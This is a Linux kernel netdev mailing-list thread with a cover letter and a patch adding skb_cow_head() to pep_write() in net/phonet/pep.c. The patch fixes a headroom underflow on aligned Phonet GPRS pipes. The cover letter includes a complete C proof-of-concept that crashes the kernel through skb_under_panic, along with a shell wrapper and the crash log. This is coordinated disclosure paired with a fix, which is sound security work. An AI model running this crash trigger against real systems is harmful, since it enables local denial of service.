All of lore.kernel.org
 help / color / mirror / Atom feed
* [PATCH net 0/1] net: phonet: ensure headroom for aligned GPRS TX
@ 2026-10-12  0:48 Ren Wei
  2026-10-12  0:48 ` [PATCH net 1/1] " Ren Wei
  0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-10-12  0:48 UTC (permalink / raw)
  To: netdev
  Cc: courmisch, davem, edumazet, kuba, pabeni, horms,
	remi.denis-courmont, vega, rakukuip, weir

From: Luxiao Xu <rakukuip@gmail.com>

Hi Linux kernel maintainers,

We found and validated an skb headroom underflow bug in net/phonet/pep.c.
The bug can be triggered when transmitting packets over an aligned
Phonet GPRS pipe, leading to skb_under_panic and a kernel crash.
We have tested the fix, and it does not affect normal functionality.

This bug is tracked at: https://bugtracker.nebusec.ai/f/1935

We will provide detailed information about the bug in this email,
along with a PoC to trigger it.

=== details below ===

Bug details:

gprs_xmit() forwards the incoming L3 skb directly to pep_write().
When a server-side pipe has negotiated PN_PIPE_SB_ALIGNED_DATA,
pep_write() skips the wrapper skb allocation and calls pipe_skb_send()
on the original skb.

pipe_skb_send() prepends the pipe header with skb_push(), and pn_send()
prepends the Phonet header with skb_push() as well. However, the GPRS
netdev advertises hard_header_len = 0 and does not set needed_headroom.
If an skb with insufficient headroom (such as one redirected from a veth
interface) is transmitted on an aligned GPRS pipe, skb_push() underflows
the skb headroom and triggers a kernel BUG via skb_under_panic().

Ensure sufficient headroom in pep_write() using skb_cow_head() before
sending the skb on an aligned pipe. If reallocation fails, drop the skb
and return -ENOMEM.

Reproducer:

The reproducer sets up an AF_PHONET address, creates a listening PEP
socket, negotiates PN_PIPE_SB_ALIGNED_DATA on the accepted pipe, enables
GPRS encapsulation (creating gprs0), and uses tc mirred redirect on a
veth pair to forward raw packets to gprs0 with minimal headroom.

We run the PoC in an x86 QEMU environment.

=== BEGIN poc.c ===
    #define _GNU_SOURCE

    #include <arpa/inet.h>
    #include <errno.h>
    #include <linux/if_ether.h>
    #include <linux/if_packet.h>
    #include <linux/netlink.h>
    #include <linux/phonet.h>
    #include <linux/rtnetlink.h>
    #include <net/if.h>
    #include <stdbool.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <unistd.h>

    #ifndef AF_PHONET
    #define AF_PHONET 35
    #endif

    #define PNS_PIPE_ENABLED_IND 0x64
    #define PNS_PEP_CONNECT_REQ 0x40
    #define PN_PIPE_SB_ALIGNED_DATA 6
    #define PN_PIPE_ENABLE 1
    #define PHONET_ADDR 0x10
    #define PIPE_HANDLE 0x01

static void die(const char *msg)
{
	perror(msg);
	exit(EXIT_FAILURE);
}

static void die_errno(const char *msg, int err)
{
	errno = -err;
	perror(msg);
	exit(EXIT_FAILURE);
}

static int run_cmd(const char *cmd)
{
	int ret;

	fprintf(stderr, "[*] %s\n", cmd);
	ret = system(cmd);
	if (ret != 0)
		fprintf(stderr, "[!] command failed: rc=%d\n", ret);
	return ret;
}

static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
		      const void *data, size_t alen)
{
	size_t len = RTA_LENGTH(alen);
	struct rtattr *rta;

	if (NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len) > maxlen) {
		fprintf(stderr, "netlink attribute overflow\n");
		exit(EXIT_FAILURE);
	}

	rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = len;
	if (alen)
		memcpy(RTA_DATA(rta), data, alen);
	nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len);
}

static void rtnl_do_phonet_addr(int ifindex, uint8_t addr, bool add)
{
	struct {
		struct nlmsghdr nlh;
		struct ifaddrmsg ifa;
		char attrbuf[64];
	} req;
	char buf[4096];
	struct sockaddr_nl nl = {
		.nl_family = AF_NETLINK,
	};
	struct iovec iov;
	struct msghdr msg;
	int fd;
	ssize_t n;
	struct nlmsghdr *nh;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0)
		die("socket(AF_NETLINK)");

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifa));
	req.nlh.nlmsg_type = add ? RTM_NEWADDR : RTM_DELADDR;
	req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	if (add)
		req.nlh.nlmsg_flags |= NLM_F_CREATE | NLM_F_EXCL;
	req.ifa.ifa_family = AF_PHONET;
	req.ifa.ifa_prefixlen = 0;
	req.ifa.ifa_scope = RT_SCOPE_LINK;
	req.ifa.ifa_index = ifindex;
	addattr_l(&req.nlh, sizeof(req), IFA_LOCAL, &addr, sizeof(addr));

	iov.iov_base = &req;
	iov.iov_len = req.nlh.nlmsg_len;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = &nl;
	msg.msg_namelen = sizeof(nl);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;

	if (sendmsg(fd, &msg, 0) < 0)
		die("sendmsg(RTM_NEWADDR/DELADDR)");

	n = recv(fd, buf, sizeof(buf), 0);
	if (n < 0)
		die("recv(netlink ack)");

	for (nh = (struct nlmsghdr *)buf; NLMSG_OK(nh, (unsigned int)n);
	     nh = NLMSG_NEXT(nh, n)) {
		if (nh->nlmsg_type == NLMSG_ERROR) {
			struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(nh);

			if (err->error == 0) {
				close(fd);
				return;
			}
			if (add && err->error == -EEXIST) {
				close(fd);
				return;
			}
			die_errno("phonet address netlink ack", err->error);
		}
	}

	fprintf(stderr, "unexpected netlink response\n");
	close(fd);
	exit(EXIT_FAILURE);
}

static void bind_phonet_addr(struct sockaddr_pn *spn, uint8_t addr)
{
	memset(spn, 0, sizeof(*spn));
	spn->spn_family = AF_PHONET;
	pn_sockaddr_set_addr(spn, addr);
}

static void xbind(int fd, const struct sockaddr_pn *spn)
{
	if (bind(fd, (const struct sockaddr *)spn, sizeof(*spn)) < 0)
		die("bind(AF_PHONET)");
}

static struct sockaddr_pn xgetsockname_pn(int fd)
{
	struct sockaddr_pn spn;
	socklen_t sl = sizeof(spn);

	memset(&spn, 0, sizeof(spn));
	if (getsockname(fd, (struct sockaddr *)&spn, &sl) < 0)
		die("getsockname(AF_PHONET)");
	return spn;
}

static int setup_aligned_gprs(char *gprs_ifname)
{
	static const uint8_t connect_req[64] = {
		PN_PIPE_SB_ALIGNED_DATA,
		PNS_PEP_CONNECT_REQ,
		PIPE_HANDLE,
		PN_PIPE_ENABLE,
		0x00, 0x00, 0x00, 0x01,
	};
	static const uint8_t enabled_ind[] = {
		0x00,
		PNS_PIPE_ENABLED_IND,
		PIPE_HANDLE,
		0x00,
	};
	struct sockaddr_pn bind_addr;
	struct sockaddr_pn listener_addr;
	struct sockaddr_pn peer_addr;
	int listener_fd;
	int peer_fd;
	int conn_fd;
	int encap = PNPIPE_ENCAP_IP;
	int ifindex = 0;
	socklen_t optlen = sizeof(ifindex);

	rtnl_do_phonet_addr(if_nametoindex("lo"), PHONET_ADDR, true);

	listener_fd = socket(AF_PHONET, SOCK_SEQPACKET, PN_PROTO_PIPE);
	if (listener_fd < 0)
		die("socket(listener)");

	bind_phonet_addr(&bind_addr, PHONET_ADDR);
	xbind(listener_fd, &bind_addr);
	listener_addr = xgetsockname_pn(listener_fd);
	fprintf(stderr, "[*] listener object=0x%04x\n",
		pn_sockaddr_get_object(&listener_addr));

	if (listen(listener_fd, 1) < 0)
		die("listen(AF_PHONET)");

	peer_fd = socket(AF_PHONET, SOCK_DGRAM, PN_PROTO_PHONET);
	if (peer_fd < 0)
		die("socket(peer)");

	xbind(peer_fd, &bind_addr);
	peer_addr = xgetsockname_pn(peer_fd);
	fprintf(stderr, "[*] peer object=0x%04x\n",
		pn_sockaddr_get_object(&peer_addr));

	if (sendto(peer_fd, connect_req, sizeof(connect_req), 0,
		   (struct sockaddr *)&listener_addr, sizeof(listener_addr)) < 0)
		die("sendto(connect_req)");

	conn_fd = accept(listener_fd, NULL, NULL);
	if (conn_fd < 0)
		die("accept()");
	fprintf(stderr, "[*] accepted aligned pipe\n");

	if (sendto(peer_fd, enabled_ind, sizeof(enabled_ind), 0,
		   (struct sockaddr *)&listener_addr, sizeof(listener_addr)) < 0)
		die("sendto(enabled_ind)");

	if (setsockopt(conn_fd, SOL_PNPIPE, PNPIPE_ENCAP, &encap,
		       sizeof(encap)) < 0)
		die("setsockopt(PNPIPE_ENCAP)");

	if (getsockopt(conn_fd, SOL_PNPIPE, PNPIPE_IFINDEX,
		       &ifindex, &optlen) < 0)
		die("getsockopt(PNPIPE_IFINDEX)");
	if (ifindex <= 0)
		die("invalid gprs ifindex");

	if (!if_indextoname(ifindex, gprs_ifname))
		die("if_indextoname(gprs)");
	fprintf(stderr, "[*] gprs ifname=%s ifindex=%d\n", gprs_ifname, ifindex);

	close(listener_fd);
	close(peer_fd);
	return conn_fd;
}

static void set_if_up(const char *ifname)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS");
	close(fd);
}

static void setup_redirect(const char *src_ifname, const char *dst_ifname)
{
	char cmd[512];

	run_cmd("ip link del pocv0 >/dev/null 2>&1 || true");
	snprintf(cmd, sizeof(cmd), "ip link add %s type veth peer name pocv1",
		 src_ifname);
	if (run_cmd(cmd) != 0)
		exit(EXIT_FAILURE);
	snprintf(cmd, sizeof(cmd), "ip link set %s up", src_ifname);
	if (run_cmd(cmd) != 0)
		exit(EXIT_FAILURE);
	if (run_cmd("ip link set pocv1 up") != 0)
		exit(EXIT_FAILURE);
	snprintf(cmd, sizeof(cmd), "tc qdisc add dev %s clsact", src_ifname);
	if (run_cmd(cmd) != 0)
		exit(EXIT_FAILURE);
	snprintf(cmd, sizeof(cmd),
		 "tc filter add dev %s egress pref 1 matchall "
		 "action mirred egress redirect dev %s",
		 src_ifname, dst_ifname);
	if (run_cmd(cmd) != 0)
		exit(EXIT_FAILURE);
}

static void trigger_redirect_raw(const char *src_ifname)
{
	uint8_t frame[14 + 20 + 4];
	uint8_t *eth = frame;
	uint8_t *ip = frame + 14;
	struct sockaddr_ll sll;
	int fd;
	int ifindex;
	int i;

	memset(frame, 0, sizeof(frame));
	memset(eth, 0x41, 6);
	memset(eth + 6, 0x42, 6);
	eth[12] = 0x08;
	eth[13] = 0x00;

	ip[0] = 0x45;
	ip[1] = 0x00;
	ip[2] = 0x00;
	ip[3] = sizeof(ip);
	ip[4] = 0x00;
	ip[5] = 0x01;
	ip[6] = 0x00;
	ip[7] = 0x00;
	ip[8] = 64;
	ip[9] = 17;
	ip[12] = 1;
	ip[13] = 1;
	ip[14] = 1;
	ip[15] = 1;
	ip[16] = 2;
	ip[17] = 2;
	ip[18] = 2;
	ip[19] = 2;

	ifindex = if_nametoindex(src_ifname);
	if (ifindex == 0)
		die("if_nametoindex(src)");

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
	if (fd < 0)
		die("socket(AF_PACKET)");

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_IP);
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memset(sll.sll_addr, 0x41, ETH_ALEN);

	for (i = 0; i < 128; i++) {
		ssize_t ret;

		ret = sendto(fd, frame, sizeof(frame), 0,
			     (struct sockaddr *)&sll, sizeof(sll));
		if (ret < 0)
			die("sendto(AF_PACKET)");
		usleep(1000);
	}

	close(fd);
}

int main(int argc, char **argv)
{
	const char *src_ifname = "pocv0";
	char gprs_ifname[IF_NAMESIZE];
	int conn_fd;

	fprintf(stderr,
		"[*] setup aligned phonet pipe and gprs encapsulation\n");
	conn_fd = setup_aligned_gprs(gprs_ifname);
	set_if_up(gprs_ifname);
	setup_redirect(src_ifname, gprs_ifname);

	if (argc > 1 && strcmp(argv[1], "--setup-only") == 0) {
		fprintf(stderr, "[*] setup complete; not triggering\n");
		pause();
		return 0;
	}

	fprintf(stderr, "[*] trigger redirected raw packet xmit\n");
	trigger_redirect_raw(src_ifname);

	close(conn_fd);
	return 0;
}
=== END poc.c ===

=== BEGIN poc.sh ===
    #!/bin/sh
set -eu

DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)

cd "$DIR"
make
exec ./poc
=== END poc.sh ===

=== BEGIN crash log ===
[  292.244773][T10222] skbuff: skb_under_panic: text:ffffffff8a581043 len:42 put:4 head:ffff888047ab96c0 data:ffff888047ab96be tail:0x28 end:0x180 dev:gprs0
[  292.247407][T10222] kernel BUG at net/core/skbuff.c:209!
[  292.248168][T10222] Oops: invalid opcode: 0000 [#1] PREEMPT SMP KASAN NOPTI
[  292.248769][T10222] CPU: 0 UID: 0 PID: 10222 Comm: poc_phonet_gprs Not tainted 6.12.74 #3
[  292.250121][T10222] RIP: 0010:skb_panic+0x15c/0x1d0
[  292.256868][T10222] Call Trace:
[  292.257355][T10222]  <TASK>
[  292.258154][T10222]  skb_push+0xcf/0xf0
[  292.258479][T10222]  pipe_skb_send+0x143/0x4b0
[  292.259258][T10222]  pep_write+0x3f4/0x4f0
[  292.260017][T10222]  gprs_xmit+0x18d/0x520
[  292.260360][T10222]  dev_hard_start_xmit+0x147/0x7a0
[  292.264712][T10222]  __dev_queue_xmit+0x22bc/0x4350
[  292.270216][T10222]  tcf_dev_queue_xmit+0x45/0x60
[  292.270588][T10222]  tcf_mirred_to_dev+0xc87/0xff0
[  292.275389][T10222]  tcf_action_exec+0x1c2/0xa20
[  292.276519][T10222]  tcf_classify+0x7f1/0x1390
[  292.277198][T10222]  tc_run+0x444/0x760
[  292.279634][T10222]  __dev_queue_xmit+0xb30/0x4350
[  292.285208][T10222]  packet_xmit+0x248/0x360
[  292.285560][T10222]  packet_sendmsg+0x2704/0x55c0
[  292.289562][T10222]  __sys_sendto+0x47e/0x4d0
[  292.291111][T10222]  __x64_sys_sendto+0xe5/0x1c0
[  292.292624][T10222]  do_syscall_64+0xc7/0x250
[  292.293394][T10222] RIP: 0033:0x7ffa33779687
[  292.298780][T10222] ---[ end trace 0000000000000000 ]---
[  292.305715][T10222] Kernel panic - not syncing: Fatal exception in interrupt
[  292.306639][T10222] Rebooting in 86400 seconds..
=== END crash log ===

Best regards,
Luxiao Xu

Luxiao Xu (1):
  net: phonet: ensure headroom for aligned GPRS TX

 net/phonet/pep.c | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 2+ messages in thread

* [PATCH net 1/1] net: phonet: ensure headroom for aligned GPRS TX
  2026-10-12  0:48 [PATCH net 0/1] net: phonet: ensure headroom for aligned GPRS TX Ren Wei
@ 2026-10-12  0:48 ` Ren Wei
  0 siblings, 0 replies; 2+ messages in thread
From: Ren Wei @ 2026-10-12  0:48 UTC (permalink / raw)
  To: netdev
  Cc: courmisch, davem, edumazet, kuba, pabeni, horms,
	remi.denis-courmont, vega, rakukuip, weir

From: Luxiao Xu <rakukuip@gmail.com>

gprs_xmit() forwards the incoming L3 skb directly to pep_write().
When a server-side pipe has negotiated PN_PIPE_SB_ALIGNED_DATA,
pep_write() skips the wrapper skb allocation and calls pipe_skb_send()
on the original skb.

pipe_skb_send() prepends the pipe header with skb_push(), and pn_send()
prepends the Phonet header with skb_push() as well. However, the GPRS
netdev advertises hard_header_len = 0 and does not set needed_headroom.
If an skb with insufficient headroom (such as one redirected from a veth
interface) is transmitted on an aligned GPRS pipe, skb_push() underflows
the skb headroom and triggers a kernel BUG via skb_under_panic().

Ensure sufficient headroom in pep_write() using skb_cow_head() before
sending the skb on an aligned pipe. If reallocation fails, drop the skb
and return -ENOMEM.

Fixes: fea93ecef619 ("Phonet: zero-copy GPRS TX")
Cc: stable@vger.kernel.org
Reported-by: VEGA <vega@nebusec.ai>
Closes: https://bugtracker.nebusec.ai/f/1935
Assisted-by: LLM
Signed-off-by: Luxiao Xu <rakukuip@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
 net/phonet/pep.c | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/net/phonet/pep.c b/net/phonet/pep.c
index bd1cdd00edfa..9d24b370fb7c 100644
--- a/net/phonet/pep.c
+++ b/net/phonet/pep.c
@@ -1259,8 +1259,13 @@ int pep_write(struct sock *sk, struct sk_buff *skb)
 	struct sk_buff *rskb, *fs;
 	int flen = 0;
 
-	if (pep_sk(sk)->aligned)
+	if (pep_sk(sk)->aligned) {
+		if (skb_cow_head(skb, MAX_PNPIPE_HEADER)) {
+			kfree_skb(skb);
+			return -ENOMEM;
+		}
 		return pipe_skb_send(sk, skb);
+	}
 
 	rskb = alloc_skb(MAX_PNPIPE_HEADER, GFP_ATOMIC);
 	if (!rskb) {
-- 
2.43.0


^ permalink raw reply related	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-10-12  0:49 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-12  0:48 [PATCH net 0/1] net: phonet: ensure headroom for aligned GPRS TX Ren Wei
2026-10-12  0:48 ` [PATCH net 1/1] " Ren Wei

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.